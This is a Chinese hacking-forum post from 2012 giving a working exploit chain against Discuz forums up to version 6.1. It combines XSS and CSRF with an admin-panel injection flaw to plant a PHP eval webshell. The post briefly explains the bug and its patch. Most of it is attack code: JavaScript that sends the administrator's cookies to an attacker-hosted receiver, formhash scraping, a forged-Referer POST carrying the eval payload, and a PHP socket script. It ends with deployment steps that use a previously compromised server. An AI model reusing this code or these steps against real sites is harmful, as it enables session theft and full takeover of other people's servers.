找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3820|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell2 s4 p; D- q7 T. k; _
By racle @tian6.com
7 C, p- G7 U/ K* C  M8 Z5 f欢迎转帖.但请保留版权信息.3 i( D/ O! N- [" k  Q, A
受影响版本iscuz<=6.1.0,gbk+utf+big5
0 ~  z: w0 h# {' {7 j9 A
7 _5 t3 ^- L9 T- z  V新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.3 J  f" u" j- G: _

, W# N' L, _, r) l* g2 b- A2 Y( o* r5 Z/ x  w$ t" C
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706% x/ z# ]$ a. K$ l
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.! X; @% |% s& v# C2 \6 P. E, c

$ f; n- A4 B- \. U4 w分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..8 l3 G* o4 p. R+ {% g
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS& w) q7 W( `  ]9 g  F+ u& i4 q

/ s9 x2 h* t% T3 Q5 s  c: H3 o) m, k) o7 X& ~# z- h: `+ I. `
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
4 ]& `. f6 x" `) n3 u; n
# Z  v: D4 K4 I% S$ S  F
% r/ y$ i6 \0 z! v4 \( Eproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交., ~( w# z4 v' j/ q$ Y

8 ?) U" N3 b# [3 N- ^problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.4 R) S; U9 l. R
) [0 e( {# q3 K3 i
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
: {8 y  z2 d1 W% _0 t0 _) B
# q7 h( W0 z, I& k: D0 U2 K6 s+ m  I/ V8 j0 i9 E
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {/ D  p4 P/ z8 r1 t. s9 ?' S
$ P! S( l: G, D$ D/ I
        global $runwizardfile, $runwizardhistory;
# k/ y2 m( x$ D) \- `
5 {' f6 i( H8 w  H  P+ a1 {        $fp = fopen($runwizardfile, 'w');* w2 w/ a+ {! _- x

* K) [1 P7 K4 T  ?        fwrite($fp, serialize($runwizardhistory));2 ?3 k: Z1 |" _% m* ^+ s- ?

- Z! s4 _- i2 @# T, X        fclose($fp);  i& V! n8 v9 p+ Q5 i* [* ?
/ a2 V2 ]- g% V. k
}
* }# k4 R4 h' d) ^复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
( L4 e4 J" b* y8 S以下是修补的办法:function saverunwizardhistory() {
- d) _9 K. r3 D5 p. @! L+ n9 W- Z1 R0 P% ~% U3 a9 a& M5 N
        global $runwizardfile, $runwizardhistory;
, }9 x; N! k7 U: }4 T  N* _& Z+ M, o! C8 N3 ^
        $fp = fopen($runwizardfile, 'w');
; k3 {4 O# v$ s$ G' q: X" _
4 L, N) Y9 k8 d        $s = '<?php exit;?>';% T" g3 V: j  P6 o5 a, R

+ @7 Q6 D' @/ R) Q8 w1 r8 M) [+ x        $s .= serialize($runwizardhistory);) p7 k/ f# `% P- z0 C+ s# t

: }' t9 Z' z/ e2 B        fwrite($fp, $s);
; Y& s% h# @) M8 k" \5 l/ M( U" n& Q
        fclose($fp);
: S9 y" y. K  |5 `- L+ |
" g& O' Z" b2 S1 ^7 t}  b% u5 x/ b/ r: b
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
0 d  c' N+ `2 _  l  S+ j1 r4 D/ `0 f" V5 N! J% N# p, r
0 I3 o0 r  K( r$ |! }7 `

1 g4 F7 z! y9 t0 p----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
+ _- n: V) B( P+ K5 K8 q* _% p
8 h5 F$ {/ G1 p$ Z; F* j( b0 [: a2 j
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.$ R5 R7 s2 G5 S  M7 l8 t

# ?$ s4 |- ?( @: ?4 y) e我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.  m/ h8 k( Y7 t4 f! n3 x

: f# a+ ?4 T. |! F4 O+ c' t8 ]% t! z这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.- n3 D  r$ b' ^9 s

& V# M' k7 H& V  j# U首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:8 h6 B2 h  ?$ x3 Y  o7 k

2 }4 \, G2 e% lvar url="http://目标网站/admincp.php";      9 |7 E' ~2 E& q* f1 s
7 L6 R" z% E& I, E8 ]' L
/*获得cookies*/
$ M/ z; |6 v+ E2 }
" o) B8 s9 \% Y& lfunction getURL(s) {
$ X" W, ^5 n8 n# ]- M2 U1 F/ |
6 j3 J' z! W$ Z8 dvar image = new Image();
6 M7 E; }9 N1 x$ b5 w! i' Y* f% b, M; r
8 a0 W0 C! k# H& i8 wimage.style.width = 0;
% B0 J, f& V/ M0 e* `$ o3 z: Z3 H" s8 Y. H5 _5 L2 e
image.style.height = 0;
# z; a$ T9 [; [2 m- \
1 f4 S7 b( ^5 Q! himage.src = s;
% v# p9 l! Q! @) V7 U+ ], @; `: x/ G2 Z6 f' Z% `
}0 y1 J* k9 ?* `2 r# Q3 H! U  g) V

3 x( k; l- j# ~- `; B/ T  vgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php# P) [! r& s& C  s! e
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];, u- {  n0 q1 F2 y) p& M  h7 F
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) & [. m; p5 x+ ?4 X$ F

' p- u% I. y) \) S7 P5 O- e, }2 A
* S: Z% r% `* F7 W3 b9 W6 A3 q获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";" D  f6 J- i/ q2 z* W, A8 \& c2 X
& B) e; a, |' ]8 z4 G' h6 Q
5 l0 \9 k- r1 N, Z! O4 q+ `

) N0 I3 G% s5 y/ ]  s% c7 L/*hash*/
: o5 x* `& r* Y% ?1 d* k! s/ y8 ^" N3 X
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
5 X5 D/ G' s! c. Z% J
4 \* n% P2 R" n* E* `. {xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
' P. a* L( R8 q1 T$ }$ ?" m7 H$ E6 J- H; O: F5 j: h: p
xmlHttpReq.send();! }6 t( o) w8 z$ c1 l1 N
4 k8 ^' h8 D  d& p
var resource = xmlHttpReq.responseText;; Y1 w3 y5 s* ]

- A; z) r% `/ |9 P4 bvar numero = resource.search(/formhash/);9 [6 v4 e3 u. K  f& ^) I

* U* `9 L+ {& @# A: tvar formhash=encodeURIComponent(resource.substr(numero+17,8));
& g9 e0 O3 n- u4 w1 q+ F& g* U9 [) |9 I/ O: `* h- O

6 q. Q, u& q9 U. ]% M( q# k) K" k4 i
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 ) x$ U4 Q" q4 F; t5 a) c7 Q$ T
4 K2 _' b+ t5 ~% `0 [; k5 m
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
  r- k, Z' f8 d; h1 P9 ~6 @1 s& ^4 g3 O9 s& f
xmlHttpReq.setRequestHeader("Referer", url);
8 z/ I! I: t% G1 Z0 ^5 O4 ~& ?2 r! l: B5 g" Z1 v- Q' ?8 d* W
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
1 j6 A. B6 G$ S5 B9 {5 X
7 D+ t! Q+ Q% x) }1 E) F, {xmlHttpReq.setrequestheader("content-length",post.length); 2 _* L: o) |5 y& ?3 X' H, s

& x1 T: p$ M1 ?2 n2 ^xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
) O3 e# p, H& a  |" r& [. z- R* W: X$ w: ^
xmlHttpReq.send(post);//发送数据
; }, Q& ?  l! o7 N' m! K' D, k6 c复制代码这里HASH我假设正确,这样提交,也无须cookies
3 O2 b' T% b5 w9 S
+ i  |. ~( |$ F. T; a; x  K( z! v再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);" K. e2 {; G  l1 }8 @4 f7 o. |: i0 Y

% F: j# ~: k* r/ U3 d; b( \if (!$sock) die("$errstr ($errno)\n");
* `& g" x- g4 X( V4 C
; L. J1 V6 W  I- \$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';* r5 b: N% P( {, [. X
6 g( X% L& d9 K2 |6 c
. L7 ~. K% V5 V
+ k+ \' C% b& H- `7 @
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");+ D: N5 r0 v4 I* `2 f% M& w

. t, S( L7 a4 O: h  Hfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
: m4 J: H. g0 E; O( R% ?# j0 t# P4 j! W6 Z* Z* r
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
) u% l! K# W& U% \9 ]* F5 _4 A/ p1 b% Z+ [% V
fwrite($sock, "Accept-Language: zh-cn\r\n");* g' ^0 \2 |& F- m; ], J

# N. l! c6 l2 `8 @$ e/ @8 m( Hfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
+ U/ I+ H* {$ B" G
0 J* B" o7 h* A% @# a# Q1 |fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");' _+ t2 X: Q4 F8 Y& j- j6 w' n3 I

& o5 R8 d! b8 k* t* }fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");$ k$ W, E2 f5 a& U1 W( _9 f+ I8 i

! F& P* t" ^6 ~! bfwrite($sock, "Host: $url\r\n");& m- k. c3 W/ N! k7 e* w6 X' [

8 }3 S, e" v; w, L! @+ Sfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
+ m8 w( U( N6 k, c& s4 Y, W' i& `
9 h3 a# ?- @$ kfwrite($sock, "Connection: Keep-Alive\r\n");
! j8 o# c6 q, M7 D8 ~9 {. v( J
; I& |3 b' r; m* E3 l) Mfwrite($sock, "Cache-Control: no-cache\r\n");
0 k$ e0 M. h" B' l! v
( @* |) Z7 f- c, Pfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
8 G. j, Y1 f1 [: y# ~* ]
$ @2 h+ @4 T" t: w4 O  Ifwrite($sock, $data);
: }/ K3 R& C9 ?- _9 \, D" x# L" h( ?- ?' ]6 e/ j& c2 b+ o' g
$ R, s6 V8 p- h+ j: ~6 F5 }; D

& o3 P: u0 w3 O$ o$headers = "";
. h7 s( Z; R5 M9 r! I( D3 L5 }  ]7 h) E; W! f+ L" C
while ($str = trim(fgets($sock, 4096)))( z0 }- `+ m+ ?* X1 X& _' q
, S  i% r+ D; Z+ W- l2 x' E  D+ I
     $headers .= "$str\n";
: p. `* N0 m: ?6 E% x: F; x
6 U" N( M! W4 W6 Eecho "\n";, n- T/ i0 G2 F0 t9 c1 y. J

: {, M( g$ c! v3 Z8 q- ]6 ?$body = "";8 @4 n" z& y8 F! c2 P8 E: t0 H
8 \9 V; T! H0 p1 A6 _4 @/ Q
while (!feof($sock))
  a. W1 o4 |. E5 W  j6 I1 M" t+ b0 \
     $body .= fgets($sock, 4096);
5 f; A: E, O6 X- ^
% ^! A0 U. s( ^/ j6 s0 Cfclose($sock);
! [7 k, O3 M% j5 I! N0 @# y: ?
, N" M- {1 m0 [; Eecho $body;% T1 |' g" {& A5 U
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^6 y7 N8 i+ A" Q

. C( @# V+ N$ ^) f# X* z- M; t5 D# |
( y+ z) i* Y! p# k" L# h-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------6 k2 f# S3 l; V: I) z. P
5 t7 O! f% x$ Y8 p' o9 i$ G% C. [

3 v; w9 d: y, \1HP SOCKET利用方法首先打开racle.js% c, D2 a8 J- G7 w) z, E3 K: \

9 f6 w+ B3 N* S; |var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
6 O  ~2 x: S5 p% `9 D6 i8 G5 R3 c' {9 C9 I

  S9 |7 I' d" _! [! S! Q* x) W0 H/ D
然后打开racle@tian6.php$ d% E; e" u  Z! W4 h
5 }, {. Z6 A5 ^. A' r# v4 B
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com1 @" ~! _5 U4 K+ C0 y1 W$ d# |

/ Z9 x+ J- B( I( L
$ e) m- T  S$ c/ G1 L" q4 x# u+ g! T8 b/ x- p8 X/ U# t, |* t+ U
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
$ b& U& X- g. N3 t# o/ S8 }. ^
# E& n+ U$ h# r  [( \  cgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
$ C! O- a1 {1 \8 x6 p! L* a
+ b6 u+ U0 N1 W- Q' Q, _6 y4 q- ^/ c7 s6 z% w
% @2 J6 u( V! P( L
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));/ H7 o/ I9 ^- Z0 |% n% W
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
. ~4 P8 q# q! \# \; |( }& c# F4 o& K7 e5 J3 J
: I# r# D& v! H' o  w! T

2 O; e; `7 B% w0 W7 ~7 T7 Z如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:( a4 u& {6 v$ h8 ^5 `5 N+ p! o

$ R$ }# o, L. B5 [var formhash=encodeURIComponent(resource.substr(numero+17,8));; z) b) x% o. x. {8 m1 m

8 u9 q. p4 a, f
" `4 Q5 G. E# O' B/ @& `6 ]. P0 [( z$ o  w# ]3 D6 s
var formhash=encodeURIComponent(resource.substr(numero+9,8));4 I' s: ?) t8 Y, i
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
$ V& ^* Q. f2 E- i9 S$ Z: s
+ T: Z, C, K8 U* d# n如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.5 C4 C/ v- G7 X" p! S5 q3 E

; w: ]6 Y! }/ }) o5 i7 m' b3 s如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.) L1 s  R& f/ G5 X# ?- k( B

& k% J: j: b( i不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
: W2 U. e: q; T- Y" k$ H
  P6 U+ ]- v. j! W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表